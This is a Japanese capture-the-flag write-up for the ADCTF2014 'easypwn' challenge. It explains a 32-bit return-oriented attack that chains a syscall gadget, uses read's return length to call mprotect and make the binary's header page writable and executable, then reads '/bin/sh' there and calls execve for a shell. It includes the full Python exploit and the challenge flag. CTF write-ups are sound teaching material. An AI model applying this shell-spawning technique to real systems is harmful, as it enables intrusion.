ADCTF2014 [20] easypwn
easy?どこがだよwww
Pwn me! The flag is in/home/easypwn/flag
. ASLR enabled, no libs. easypwnnc pwnable.katsudon.org 28099
pwn系で一番悩みましたw
だって使える要素があまりにも少ないんだもの
まあ今回もASLRは気にしない方針でいきましょ
今回はsyscallなんていう関数があるため、eaxに適切な値を格納して引数をスタックに積めばおk!
08048080 <syscall>: 8048080: 8b 54 24 0c mov 0xc(%esp),%edx 8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx 804808c: cd 80 int $0x80 804808e: c3 ret
今回書いたexploitはこちら
#!/usr/bin/env python from struct import * import sys import socket rhp = ("pwnable.katsudon.org",28099) sh = "/bin/sh" addr_syscall = 0x08048080 addr_read = 0x080480a9 addr_exit = 0x080480df elf_head = 0x08048000 sys_execve = 0x0b sys_mprotect = 0x7d length = 0x1000 null = 0x0 #========== nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) nc.settimeout(0.5) nc.connect(rhp) exploit_st1 = "\x00"*0x10 exploit_st1 += pack("<I", addr_syscall) exploit_st1 += pack("<I", addr_read-0x2) exploit_st1 += pack("<I", elf_head) exploit_st1 += pack("<I", length) exploit_st1 += pack("<I", 0x7) exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1)) exploit_st2 = "\x00"*0x10 exploit_st2 += pack("<I", addr_syscall) #$ecx=elf_head exploit_st2 += pack("<I", addr_read) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", addr_syscall) exploit_st2 += pack("<I", addr_exit) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null) nc.sendall(exploit_st1) nc.sendall(exploit_st2) nc.sendall(sh+"\x00"*(sys_execve-len(sh))) 続く
当初の予定ではexploit_st1は要らなかったんですよ
'/bin/sh'をスタック以外の固定された適当なアドレスに配置できれば、そこを参照して終了ですのでね。
そうは問屋が卸さない
方針変更:mmapを使おう
old_mmapしか文献が見当たらない。
構造体が配置できるなら最初っから解決してる
mmap2の存在は知ってても使い方が分からない ⇒ $eax=0xc0だと後に知る
方針変更:mprotectを使おう
$eax=0x7d
$ebx=address
$ecx=length
$edx=permission
これならいける
まずはmprotectするためにexploit_st1を送ります
exploit_st1 = "\x00"*0x10 exploit_st1 += pack("<I", addr_syscall) ※ exploit_st1 += pack("<I", addr_read-0x2) exploit_st1 += pack("<I", elf_head) exploit_st1 += pack("<I", length) exploit_st1 += pack("<I", 0x7) exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1))
pwn_me関数のリターン先は、※のsyscall関数になります
次のリターン先にはaddr_read-0x2(read前にmov %esp,%ecx を追加)を指定しておきます。
このexploit_st1の長さが、mprotectのシステムコール番号である0x7dになるように調整します。
そうすることでread後に$eaxに読み込んだ長さの0x7dが格納され、mprotectが使えます。
mprotectに与えるアドレスはページ境界でなければならないので、elfのヘッダが読み込まれてる先頭のアドレスを指定します。
これでいけたかな
08048000-08049000 rwxp 00000000 08:01 947049
なんか面白い
はい、では次です
exploit_st2 = "\x00"*0x10 exploit_st2 += pack("<I", addr_syscall) #$ecx=elf_head exploit_st2 += pack("<I", addr_read) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", addr_syscall) exploit_st2 += pack("<I", addr_exit) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null)
最初のsyscallは$ecxにelf_headを格納するためだけに使っています。
なんだかもっとスマートにできる気がががg
そののちreadで"/bin/sh"+"\x00"*(sys_execve-len(sh))をelfのヘッダ部に読み込んで、$eaxにはexecveの0x0bが格納されます。
2回目のsyscallでexecveが呼ばれてbashが起動します。
リターン先を_startのexitに飛ばして終了です。 exploit_easypwn.py
FLAG: ADCTF_175_345y_7o_cON7ROL_5Y5c4LL